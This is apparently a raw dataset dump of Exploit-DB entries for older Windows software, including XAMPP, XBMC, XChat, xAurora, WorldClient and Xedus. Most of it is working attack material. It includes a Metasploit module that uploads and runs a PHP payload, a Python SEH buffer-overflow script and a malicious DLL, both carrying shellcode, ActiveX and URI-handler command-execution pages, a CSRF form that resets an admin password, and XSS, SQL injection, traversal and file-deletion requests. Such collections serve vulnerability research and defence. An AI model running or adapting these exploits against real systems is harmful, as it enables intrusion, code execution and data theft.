deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24409
Description: Working Resources BadBlue 1.7.x/2.x - Unauthorized Proxy Relay
Type: remote
Platform: windows
Date: 2002-12-11
Author: Texonet

Exploit:
source: https://www.securityfocus.com/bid/11030/info

BadBlue is prone to a vulnerability that may let the application be abused as a proxy. This vulnerability presents itself due to the 'Pass Thru' function allowing the server to be used as a proxy. This could be exploited by malicious parties to obfuscate their identities and bypass network access controls and firewalls.

BadBlue Personal Edition versions 2.5 and prior are reportedly affected by this issue. 

http://www.example.com/ext.dll?mfcisapicommand=PassThru&url=[Any IP:Any Port]/[Any Command]
Exploit-DB #21438
Description: WorldClient 5.0.x - Arbitrary File Deletion
Type: remote
Platform: windows
Date: 2002-05-07
Author: Obscure

Exploit:
source: https://www.securityfocus.com/bid/4687/info

WorldClient is a web interface packaged with MDaemon, an email server for Microsoft Windows.

An input validation vulnerability exists in WorldClient that allows for an attacker to delete an arbitrary file on the webserver that it resides on. The vulnerability is due to a lack of input validation on the supplied filename for an attachment delete operation. 

The following HTTP request demonstrates exploitation of this vulnerability to delete '..\..\test.txt':

POST /WorldClient.cgi?Session=xxxx&View=Compose-Attach HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://victom.com:3001/WorldClient.cgi?Session=xxxx&View=Options-Folders
Content-Type: multipart/form-data; boundary=---------------------------7d2851b9074c
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
Host: victim:3001
Content-Length: 407
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxx

-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Attachment"; filename=""
Content-Type: application/octet-stream

-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Attachments"

..\..\test.txt
-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Remove"

Remove
-----------------------------7d2851b9074c--
Exploit-DB #7910
Description: WOW Web On Windows ActiveX Control 2 - Remote Code Execution
Type: remote
Platform: windows
Date: 2009-01-29
Author: Michael Brooks

Exploit:
Written By Michael Brooks
Special thanks to str0ke!

software:WOW - Web On Windows ActiveX Control 2  - Remote Code Execution
exploit type: Remote File Upload and Remote Code Execution
Download: http://www.download.com/WOW-Web-On-Windows-ActiveX-Control/3000-2206_4-10049976.html
183,682  downloads at the time of publishing this exploit.

This entire dll is full of bad functions,  including read write access
to the registry.
This must have been accidentally registered to IE's ActiveX interface.

<html>
<object classid="clsid:441E9D47-9F52-11D6-9672-0080C88B3613" id="obj">
	</object>
</html>
	<script>
	obj.WriteIniFileString("C:\\hack.bat","","calc.exe ","");
	obj.ShellExecute(0,"open","hack.bat",0,"C:\\",0);
</script>

# milw0rm.com [2009-01-29]
Exploit-DB #33964
Description: X-Motor Racing 1.26 - Remote Buffer Overflow / Multiple Denial of Service Vulnerabilities
Type: remote
Platform: windows
Date: 2010-05-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/40008/info

X-Motor Racing is prone to a buffer-overflow vulnerability and a multiple denial-of-service vulnerabilities.

Successfully exploiting these issues allows remote attackers to execute arbitrary code or crash the affected application, denying service to legitimate users.

X-Motor Racing 1.26 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33964.zip
Exploit-DB #18367
Description: XAMPP - WebDAV PHP Upload (Metasploit)
Type: remote
Platform: windows
Date: 2012-01-14
Author: Metasploit

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'        => 'XAMPP WebDAV PHP Upload',
			'Description'    => %q{
					This module exploits weak WebDAV passwords on XAMPP servers.
					It uses supplied credentials to upload a PHP payload and 
					execute it.
			},
			'Author'      => ['thelightcosine <thelightcosine[at]metasploit.com'],
			'Version'     => '$Revision$',
			'Platform'    => 'php',
			'Arch'        => ARCH_PHP,
			'Targets'     =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0
		)

		register_options(
			[
				OptString.new('PATH', [ true,  "The path to attempt to upload", '/webdav/']),
				OptString.new('FILENAME', [ false ,  "The filename to give the payload. (Leave Blank for Random)"]),
				OptString.new('RUSER', [ true,  "The Username to use for Authentication", 'wampp']),
				OptString.new('RPASS', [ true,  "The Password to use for Authentication", 'xampp'])
			], self.class)
	end



	def exploit
		uri = build_path
		print_status "Uploading Payload to #{uri}"
		res,c = send_digest_request_cgi({
					'uri'     => uri,
					'method'  => 'PUT',
					'data'	=> payload.raw,
					'DigestAuthUser' => datastore['RUSER'],
					'DigestAuthPassword' => datastore['RPASS']
				}, 25)
		unless (res.code == 201)
			print_error "Failed to upload file!"
			return
		end
		print_status "Attempting to execute Payload"
		res = send_request_cgi({
			'uri'          =>  uri,
			'method'       => 'GET'
		}, 20)
	end



	def build_path
		if datastore['PATH'][0,1] == '/'
			uri_path = datastore['PATH'].dup
		else
			uri_path = '/' + datastore['PATH'].dup
		end
		uri_path << '/' unless uri_path.ends_with?('/')
		if datastore['FILENAME']
			uri_path << datastore['FILENAME']
			uri_path << '.php' unless uri_path.ends_with?('.php')
		else
			uri_path << Rex::Text.rand_text_alphanumeric(7)
			uri_path << '.php'
		end
		return uri_path
	end

end
Exploit-DB #7384
Description: XAMPP 1.6.8 - Cross-Site Request Forgery (Change Administrative Password)
Type: remote
Platform: windows
Date: 2008-12-08
Author: Michael Brooks

Exploit:
XAMPP change administrative password:
--------------------------------------------------------------------------------
Written by Michael Brooks
special thanks to str0ke

Affects XAMPP 1.6.8.
homepage: http://www.apachefriends.org/
XAMPP has 17+ million downloads from sourceforge.net.
register_globals=On or Off
This attack is exploitable even when this page is reporting a fully
secure system: http://10.1.1.10/security/index.php

There are two vulnerabilities that are being used toagther.
1)Global variable manipulation to spoof ip address.
2)XSRF to change the .htaccess password for http://10.1.1.10/security/
 and http://10.1.1.10/xampp/ .

The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and
this cannot normally be spoofed.
However extract($_POST); can be used to overwrite any declared
variable,  including the $_SERVER superglobal.  This can be used to
"spoof"  your ip address as 127.0.0.1
This xsrf attack can be exploited from a browser in any ip address, so
long as that browser is currently authenticated.

This vulnerable code is from the very top of: /security/xamppsecurity.php
<?php
       error_reporting(0);
       extract($_POST);
       extract($_SERVER);
       $host = "127.0.0.1";
       $timeout = "1";

       if ($REMOTE_ADDR) {
               if ($REMOTE_ADDR != $host) {
                       echo "<h2> FORBIDDEN FOR CLIENT $REMOTE_ADDR <h2>";
                       exit;
               }
       }
//...

//Start of xsrf attack
<html>
	<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
	          <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
		<input type=hidden name="xamppuser" value=admin >
		<input type=hidden name="xampppasswd" value=password>
		<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
		<input type=submit>
	</form>
</html>
<script>
	document.getElementById(1).submit();
</script>
//End of xsrf attack

# milw0rm.com [2008-12-08]
Exploit-DB #36258
Description: XAMPP 1.7.4 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2011-10-26
Author: Sangteamtham

Exploit:
source: https://www.securityfocus.com/bid/50381/info

XAMPP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect XAMPP 1.7.4 for Windows and prior. 

http://www.example.com/xampp/ming.php?text=[xss]
http://www.example.com/xampp/cds.php/[xss]
Exploit-DB #36291
Description: XAMPP 1.7.7 - 'PHP_SELF' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2011-11-07
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/50564/info

XAMPP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

These issues affect XAMPP 1.7.7 for Windows. 

http://www.example.com/security/xamppsecurity.php/"><script>alert(1)</script>
http://www.example.com/xampp/perlinfo.pl/"><script>alert(1)</script>
http://www.example.com/xampp/cds.php/"><script>alert(1)</script>
Exploit-DB #32457
Description: XAMPP for Windows 1.6.8 - 'cds.php' SQL Injection
Type: remote
Platform: windows
Date: 2008-10-03
Author: Jaykishan Nirmal

Exploit:
source: https://www.securityfocus.com/bid/31564/info

XAMPP for Windows is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

XAMPP 1.6.8 for Windows is vulnerable; other versions may also be affected. 

http://www.example.com/xampp/cds.php?action=del&id=1 or 1
Exploit-DB #32460
Description: XAMPP for Windows 1.6.8 - 'Phonebook.php' SQL Injection
Type: remote
Platform: windows
Date: 2008-10-06
Author: Jaykishan Nirmal

Exploit:
source: https://www.securityfocus.com/bid/31586/info

XAMPP for Windows is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

XAMPP 1.6.8 for Windows is vulnerable; other versions may also be affected. 

http://www.example.com/xampp/phonebook.php?action=del&id=1 or 1
Exploit-DB #37396
Description: XAMPP for Windows 1.7.7 - Multiple Cross-Site Scripting / SQL Injections
Type: remote
Platform: windows
Date: 2012-06-13
Author: Sangteamtham

Exploit:
source: https://www.securityfocus.com/bid/53979/info

XAMPP for Windows is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/xampp/perlinfo.pl/"<script>alert("XSS")</script>

http://www.example.com/xampp/cds.php/%27onmouseover=alert%28%22XSS%22%29%3E

http://www.example.com/xampp/cds.php?interpret=1&jahr=1967 and sleep(1) &titel=[PII_REDACTED]
Exploit-DB #35881
Description: xAurora 10.00 - 'RSRC32.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2011-06-24
Author: Zer0 Thunder

Exploit:
/*
source: https://www.securityfocus.com/bid/48432/info

xAurora is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 
*/

#include <windows.h>
#include <stdlib.h>
#include <string.h>


char shellcode[]="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00";

int xAuroraPwnage()
{
int *ret;
ret=(int *)&ret+2;
(*ret)=(int)shellcode;
MessageBox(0, "[+] xAurora Pwned By Zer0 Thunder !", "Not so Secured Browser", MB_OK);
return 0;

}  
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  xAuroraPwnage();
  return 0;
}
Exploit-DB #8363
Description: XBMC 8.10 - 'HEAD' Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-04-07
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Usage : exploit.py [victime_ip]
#[*] Bug : 	    XBMC 8.10 (HEAD Request) Remote Buffer Overflow Exploit (SEH)
#[*] Refer :        http://www.milw0rm.com/exploits/8354
#[*] Tested on :    Xp sp2 (fr)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com,secdz.com
#[*] Chi3arona houa : Serra7 merra7,koulchi mderra7 :D


import struct
import sys, socket 

host = sys.argv[1] 

buff1 = 'A'*998

Pointer_To_Next_SEH = struct.pack('<L',0x909006eb)

###
###This was found in the module zlib1 and is universal.
#62E83BAC   5B               POP EBX
#62E83BAD   5D               POP EBP
#62E83BAE  ^E9 CDD9FFFF      JMP zlib1.compressBound
SE_Handler = struct.pack('<L',0x62E83BAC)

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shell_code=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x33\x4b\x58\x4e\x37"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x48"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x52\x46\x50\x45\x57\x45\x4e\x4b\x38"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x58\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x53\x45\x58\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a"
"\x4b\x48\x4a\x56\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x43"
"\x48\x4f\x42\x36\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x55\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x36\x43\x36\x42\x30\x5a"
)
buff2 = 'B'*635

payload = buff1 + Pointer_To_Next_SEH + SE_Handler + shell_code + buff2

head  = "HEAD /"+payload+" HTTP/1.1\r\n"
head += "Host: "+host+"\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,80))
s.send(head + "\r\n\r\n")
s.close()

# milw0rm.com [2009-04-07]
Exploit-DB #31909
Description: XChat 2.8.7b - 'ircs://' URI Command Execution
Type: remote
Platform: windows
Date: 2008-06-13
Author: securfrog

Exploit:
source: https://www.securityfocus.com/bid/29696/info

XChat is prone to a vulnerability that allows remote attackers to execute arbitrary commands in the context of the vulnerable user. This issue may lead to a remote compromise.

The issue arises because of improper handling of the 'ircs://' URI.

XChat 2.8.7b and prior versions are vulnerable to the issue. 

##################################################################################################################
#
# Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched)
# Vendor : http://xchat.org/
# Affected Os : Windows *
# Risk : critical
#
# This bug is related to the URI Handler vulnerability but the approch is a bit different.
# We don't use any % or  ../../../ as the others related bugs, just a single "
# According to the registry , when the IRCS:// URI is called , the command launched is :
# C:\Program Files\xchat\xchat.exe --existing --url="%1"
#
# The xchat --help option tells us :
# " --command=COMMAND :Send a command to existing xchat "
#
# So we add a simple " at the end of the URL and we're in business ?
# Yep =) ircs://blabla@3.3.3.3" --command "shell calc"
#
# Note: The victim needs to be connected to an irc server , and also need IE * .
#
#
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
#
# Poc: this only launch the calc, sky is the limit passed this point.
<html>
<head><title>Welcome to my personal website</title></head>
<body>
<script>document.location='ircs://blabla@3.3.3.3" --command "shell calc"'</script>
</body>
</html>
Exploit-DB #5795
Description: XChat 2.8.7b - 'URI Handler' Remote Code Execution (Internet Explorer 6/7)
Type: remote
Platform: windows
Date: 2008-06-13
Author: securfrog

Exploit:
##################################################################################################################
#
# Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched)
# Vendor : http://xchat.org/
# Affected Os : Windows *
# Risk : critical
#
# This bug is related to the URI Handler vulnerability but the approch is a bit different.
# We don't use any % or  ../../../ as the others related bugs, just a single "
# According to the registry , when the IRCS:// URI is called , the command launched is :
# C:\Program Files\xchat\xchat.exe --existing --url="%1"
#
# The xchat --help option tells us :
# " --command=COMMAND :Send a command to existing xchat "
#
# So we add a simple " at the end of the URL and we're in business ?
# Yep =) ircs://blabla@3.3.3.3" --command "shell calc"
#
# Note: The victim needs to be connected to an irc server , and also need IE * .
#
#
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
#
# Poc: this only launch the calc, sky is the limit passed this point.
<html>
<head><title>Welcome to my personal website</title></head>
<body>
<script>document.location='ircs://blabla@3.3.3.3" --command "shell calc"'</script>
</body>
</html>

# milw0rm.com [2008-06-13]
Exploit-DB #24417
Description: Xedus Web Server 1.0 - test.x 'Username' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-09-30
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11071/info

It is reported that Xedus is susceptible to multiple vulnerabilities.

The first reported issue is a denial of service vulnerability. The affected application is unable to service multiple simultaneous connections, denying access to the hosted site for legitimate users.

The second reported issue is a cross-site scripting vulnerability in included sample scripts. This vulnerability is due to a failure of the application to properly sanitize user-supplied URI input before including it in the output of the scripts.

The third reported issue is a directory traversal vulnerability. The affected application will reportedly serve documents located outside of the configured web root. This may allow an attacker the ability to read arbitrary, potentially sensitive files on the hosting computer with the privileges of the web server. This may aid malicious users in further attacks.

These vulnerabilities are reported to exist in version 1.0 of Xedus.

http://www.example.com:4274/test.x?username=[XSS]
Exploit-DB #24418
Description: Xedus Web Server 1.0 - testgetrequest.x 'Username' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-09-30
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11071/info
 
It is reported that Xedus is susceptible to multiple vulnerabilities.
 
The first reported issue is a denial of service vulnerability. The affected application is unable to service multiple simultaneous connections, denying access to the hosted site for legitimate users.
 
The second reported issue is a cross-site scripting vulnerability in included sample scripts. This vulnerability is due to a failure of the application to properly sanitize user-supplied URI input before including it in the output of the scripts.
 
The third reported issue is a directory traversal vulnerability. The affected application will reportedly serve documents located outside of the configured web root. This may allow an attacker the ability to read arbitrary, potentially sensitive files on the hosting computer with the privileges of the web server. This may aid malicious users in further attacks.
 
These vulnerabilities are reported to exist in version 1.0 of Xedus.

http://www.example.com:4274/testgetrequest.x?param=[XSS]
Exploit-DB #24419
Description: Xedus Web Server 1.0 - Traversal Arbitrary File Access
Type: remote
Platform: windows
Date: 2004-09-30
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11071/info
  
It is reported that Xedus is susceptible to multiple vulnerabilities.
  
The first reported issue is a denial of service vulnerability. The affected application is unable to service multiple simultaneous connections, denying access to the hosted site for legitimate users.
  
The second reported issue is a cross-site scripting vulnerability in included sample scripts. This vulnerability is due to a failure of the application to properly sanitize user-supplied URI input before including it in the output of the scripts.
  
The third reported issue is a directory traversal vulnerability. The affected application will reportedly serve documents located outside of the configured web root. This may allow an attacker the ability to read arbitrary, potentially sensitive files on the hosting computer with the privileges of the web server. This may aid malicious users in further attacks.
  
These vulnerabilities are reported to exist in version 1.0 of Xedus.

http://www.example.com:4274/../data/log.txt
http://www.example.com:4274/../../../../../boot.ini